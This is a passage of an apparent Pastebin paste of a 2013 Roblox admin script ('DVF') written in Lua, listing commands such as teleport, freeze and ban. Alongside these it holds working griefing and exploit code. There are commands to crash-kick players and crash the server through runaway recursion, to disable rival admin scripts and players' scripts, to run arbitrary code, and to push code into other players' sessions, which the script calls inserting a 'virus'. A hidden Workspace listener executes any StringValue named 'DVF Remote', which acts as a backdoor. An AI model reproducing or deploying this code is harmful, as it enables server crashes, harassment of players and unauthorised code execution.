  1657. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1658. end
  1659. end
  1660. end)
  1661. ypcall(function()
  1662. for _,x in pairs(v.PlayerGui:GetChildren()) do
  1663. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1664. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1665. end
  1666. end
  1667. end)
  1668. end
  1669. if #LocalScripts > 0 then
  1670. for _,v in pairs(LocalScripts) do
  1671. Ping(v, Speaker)
  1672. end
  1673. else
  1674. Ping("No Local Scripts Found", Speaker, 5)
  1675. end
  1676. end)
  1677.  
  1678. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1679. local Split = GetSplit(Msg)
  1680. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1681. local ScriptName = Msg:sub(Split + 1)
  1682. local FoundLocal = false
  1683. for _,name in pairs(PlrTab) do
  1684. ypcall(function()
  1685. for _,v in pairs(name.Character:GetChildren()) do
  1686. if string.find(v.Name:lower(), ScriptName) then
  1687. if v:IsA("Script") or v:IsA("LocalScript") then
  1688. v.Disabled = true
  1689. v:Destroy()
  1690. FoundLocal = true
  1691. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1692. end
  1693. end
  1694. end
  1695. end)
  1696. ypcall(function()
  1697. for _,v in pairs(name.Backpack:GetChildren()) do
  1698. if string.find(v.Name:lower(), ScriptName) then
  1699. if v:IsA("Script") or v:IsA("LocalScript") then
  1700. v.Disabled = true
  1701. v:Destroy()
  1702. FoundLocal = true
  1703. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1704. end
  1705. end
  1706. end
  1707. end)
  1708. ypcall(function()
  1709. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1710. if string.find(v.Name:lower(), ScriptName) then
  1711. if v:IsA("Script") or v:IsA("LocalScript") then
  1712. v.Disabled = true
  1713. v:Destroy()
  1714. FoundLocal = true
  1715. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1716. end
  1717. end
  1718. end
  1719. end)
  1720. if FoundLocal == false then
  1721. Ping("Local Script Not Found", Speaker, 5)
  1722. end
  1723. end
  1724. end)
  1725.  
  1726. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1727. for _,v in pairs(game:GetChildren()) do
  1728. ypcall(function()
  1729. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1730. for _,a in pairs(v:GetChildren()) do
  1731. ypcall(function()
  1732. a:Destroy()
  1733. end)
  1734. end
  1735. elseif v.Name == "Players" then
  1736. for _,plr in pairs(v:GetPlayers()) do
  1737. Clear(plr)
  1738. end
  1739. end
  1740. end)
  1741. end
  1742. Clean()
  1743. Fixl()
  1744. Ping("Fully Cleaned", Speaker, 5)
  1745. end)
  1746.  
  1747. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1748. LClean()
  1749. Fixl()
  1750. Ping("Lightly Cleaned", Speaker, 5)
  1751. end)
  1752.  
  1753. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1754. local PlrTab = getPlayer(Speaker, Msg)
  1755. if #PlrTab > 0 then
  1756. for _,v in pairs(PlrTab) do
  1757. ypcall(function()
  1758. v:LoadCharacter()
  1759. Ping("Reset "..v.Name, Speaker, 5)
  1760. end)
  1761. end
  1762. end
  1763. end)
  1764.  
  1765. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1766. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1767. if Work:findFirstChild("Base") then
  1768. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1769. else
  1770. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1771. end
  1772. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1773. end)
  1774.  
  1775. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1776. local PlrTab = getPlayer(Speaker, Msg)
  1777. if #PlrTab > 0 then
  1778. for _,v in pairs(PlrTab) do
  1779. ypcall(function()
  1780. v.Character.Torso.Anchored = true
  1781. Ping("Froze "..v.Name, Speaker, 5)
  1782. end)
  1783. end
  1784. end
  1785. end)
  1786.  
  1787. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1788. local PlrTab = getPlayer(Speaker, Msg)
  1789. if #PlrTab > 0 then
  1790. for _,v in pairs(PlrTab) do
  1791. ypcall(function()
  1792. for _,v2 in pairs(v.Character:GetChildren()) do
  1793. ypcall(function()
  1794. v.Anchored = false
  1795. end)
  1796. end
  1797. Ping("Thawed "..v.Name, Speaker, 5)
  1798. end)
  1799. end
  1800. end
  1801. end)
  1802.  
  1803. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1804. local PlrTab = getPlayer(Speaker, Msg)
  1805. if #PlrTab > 0 then
  1806. for _,v in pairs(PlrTab) do
  1807. ypcall(function()
  1808. Instance.new("ForceField", v.Character)
  1809. end)
  1810. end
  1811. end
  1812. end)
  1813.  
  1814. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1815. local PlrTab = getPlayer(Speaker, Msg)
  1816. if #PlrTab > 0 then
  1817. for _,v in pairs(PlrTab) do
  1818. ypcall(function()
  1819. RemObj(v.Character, "ForceField")
  1820. end)
  1821. end
  1822. end
  1823. end)
  1824.  
  1825. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1826. local Split = GetSplit(Msg)
  1827. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1828. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1829. if #PlrTab > 0 and #PlrTab2 > 0 then
  1830. for i,v in pairs(PlrTab) do
  1831. ypcall(function()
  1832. for _,v2 in pairs(PlrTab2) do
  1833. ypcall(function()
  1834. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1835. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1836. end)
  1837. end
  1838. end)
  1839. end
  1840. end
  1841. end)
  1842.  
  1843. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1844. MakeExplorer(Speaker)
  1845. end)
  1846.  
  1847. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1848. wait()
  1849. Dismiss(Speaker)
  1850. NumBanned = 0
  1851. NumCmds = 0
  1852. for i = 1, #Rankings do
  1853. if Rankings[i].Rank < 0 then
  1854. NumBanned = NumBanned + 1
  1855. end
  1856. end
  1857. for i,v in pairs(Commands) do
  1858. NumCmds = NumCmds + 1
  1859. end
  1860. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1861. Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1862. Ping("Date Started: 18th May 2013", Speaker)
  1863. Ping("Your ID: "..Speaker.userId, Speaker)
  1864. Ping("Total Number Of Players: "..#All2(), Speaker)
  1865. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1866. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1867. Ping("ShowGarbage", Speaker)
  1868. end)
  1869.  
  1870. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1871. Dismiss(Speaker)
  1872. for i,v in pairs(All()) do
  1873. Ping(v.Name.."'s Rank: "..FindRank(v))
  1874. end
  1875. end)
  1876.  
  1877. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1878. local Split = GetSplit(Msg)
  1879. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1880. local Speed = tonumber(Msg:sub(Split + 1))
  1881. for _,v in pairs(PlrTab) do
  1882. ypcall(function()
  1883. v.Character.Humanoid.WalkSpeed = Speed
  1884. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1885. end)
  1886. end
  1887. end)
  1888.  
  1889. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1890. local RemoveAB = Instance.new("StringValue")
  1891. RemoveAB.Name = "CBA Attachment"
  1892. RemoveAB.Value = [[CBA.override=true;]]
  1893. RemoveAB.Parent = Work
  1894. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1895. end)
  1896.  
  1897. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1898. Dismiss(Speaker)
  1899. for i,v in pairs(Injected) do
  1900. Ping(i, Speaker)
  1901. end
  1902. end)
  1903.  
  1904. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1905. local RemoveCBA = Instance.new("StringValue")
  1906. RemoveCBA.Name = "CBA Attachment"
  1907. RemoveCBA.Value = [[CBA.remove = false]]
  1908. RemoveCBA.Parent = Work
  1909. Ping("Removed All CBA Admins", Speaker, 5)
  1910. end)
  1911.  
  1912. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1913. local function BufferOverflow(object)
  1914. object.DescendantAdded:connect(BufferOverflow)
  1915. Instance.new("IntValue", object)
  1916. end
  1917. BufferOverflow(Game)
  1918. end)
  1919.  
  1920. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1921. if asd.ClassName == 'StringValue' then
  1922. if asd.Name == "DVF Remote" then
  1923. local func = loadstring(asd.Value)
  1924. if func then asd:Destroy() return pcall(func) end
  1925. end asd:Destroy()
  1926. end
  1927. end)
  1928.  
  1929. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1930. local PlrTab = getPlayer(Speaker, Msg)
  1931. if #PlrTab > 0 then
  1932. for _,v in pairs(PlrTab) do
  1933. ypcall(function()
  1934. Crash1(v)
  1935. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1936. end)
  1937. end
  1938. end
  1939. end)
  1940.  
  1941. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1942. local PlrTab = getPlayer(Speaker, Msg)
  1943. if #PlrTab > 0 then
  1944. for _,v in pairs(PlrTab) do
  1945. ypcall(function()
  1946. ChangeRank(v, -1)
  1947. end)
  1948. end
  1949. end
  1950. end)
  1951.  
  1952. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1953. local PlrTab = getPlayer(Speaker, Msg)
  1954. if #PlrTab > 0 then
  1955. for _,v in pairs(PlrTab) do
  1956. ypcall(function()
  1957. ChangeRank(v, -2)
  1958. end)
  1959. end
  1960. end
  1961. end)
  1962.  
  1963. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1964. local PlrTab = getPlayer(Speaker, Msg)
  1965. if #PlrTab > 0 then
  1966. for _,v in pairs(PlrTab) do
  1967. ypcall(function()
  1968. ChangeRank(v, -3)
  1969. end)
  1970. end
  1971. end
  1972. end)
  1973.  
  1974. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1975. ypcall(function()
  1976. local PlrTab = getPlayer(Speaker, Msg)
  1977. if #PlrTab > 0 then
  1978. for _,v in pairs(PlrTab) do
  1979. ypcall(function()
  1980. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1981. end)
  1982. end
  1983. end
  1984. local PlrName = ChangeRank(Msg, 0)
  1985. Ping("Un-Banned "..PlrName, Speaker, 5)
  1986. end)
  1987. end)
  1988.  
  1989. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1990. Dismiss(Speaker)
  1991. Ping("Commands", Speaker, nil, function()
  1992. Dismiss(Speaker.Name)
  1993. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1994. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1995. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1996. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1997. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1998. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1999. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  2000. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  2001. end)
  2002. Ping("Players", Speaker, nil, function()
  2003. ListPlayers(Speaker)
  2004. end)
  2005. end)
  2006.  
  2007. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2008. ListPlayers(Speaker)
  2009. end)
  2010.  
  2011. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2012. local Func,Error = loadstring(Msg)
  2013. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2014. getfenv(Func).Speaker = Speaker
  2015. if Error == nil then
  2016. coroutine.wrap(function()
  2017. Func()
  2018. end)()
  2019. Ping("Executed Script!", Speaker, 5)
  2020. else
  2021. Ping(Error, Speaker, 10)
  2022. end
  2023. end)
  2024.  
  2025. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2026. if LS ~= nil then
  2027. local Split = GetSplit(Msg)
  2028. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2029. local LocalSource = Msg:sub(Split + 1)
  2030. if #PlrTab > 0 then
  2031. for _,v in pairs(PlrTab) do
  2032. local Inserted = LS:Clone()
  2033. Inserted.Disabled = true
  2034. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2035. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2036. Inserted:findFirstChild(OwnSource).Value = v.Name
  2037. end
  2038. Inserted[LSSource].Value = LocalSource
  2039. Inserted.Disabled = false
  2040. end
  2041. end
  2042. else
  2043. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2044. end
  2045. end)
  2046.  
  2047. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2048. Msg = tostring(Msg)
  2049. Ping(Msg, Speaker)
  2050. end)
  2051.  
  2052. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2053. Dismiss(Speaker)
  2054. for i,v in pairs(getfenv(1)) do
  2055. ypcall(function()
  2056. Ping(tostring(i)..": "..tostring(v), Speaker)
  2057. end)
  2058. end
  2059. end)
  2060.  
  2061. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2062. Dismiss()
  2063. Removed = true
  2064. for i,v in pairs(getfenv(1)) do
  2065. getfenv(1)[i] = nil
  2066. end
  2067. script.Disabled = true
  2068. end)
  2069.  
  2070. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2071. local Split = GetSplit(Msg)
  2072. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2073. local Rank = tonumber(Msg:sub(Split + 1))
  2074. if #PlrTab > 0 then
  2075. for _,v in pairs(PlrTab) do
  2076. if v.Name ~= Owner then
  2077. ChangeRank(v, Rank)
  2078. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2079. end
  2080. end
  2081. end
  2082. end)
  2083.  
  2084. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement